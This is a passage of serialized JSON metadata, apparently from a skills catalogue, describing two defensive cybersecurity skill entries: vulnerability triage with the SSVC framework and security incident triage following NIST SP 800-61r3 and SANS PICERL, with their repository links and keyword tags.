scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[217],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[219,220,221,42,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":239,"name":240,"nameZh":6,"description":241,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":242,"categories":243,"keywords":245,"publishedAt":49},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[244],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[29,246,42,247,248,249,250,251,252,253,254,181,255,182,256,257,258,259,260,261],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]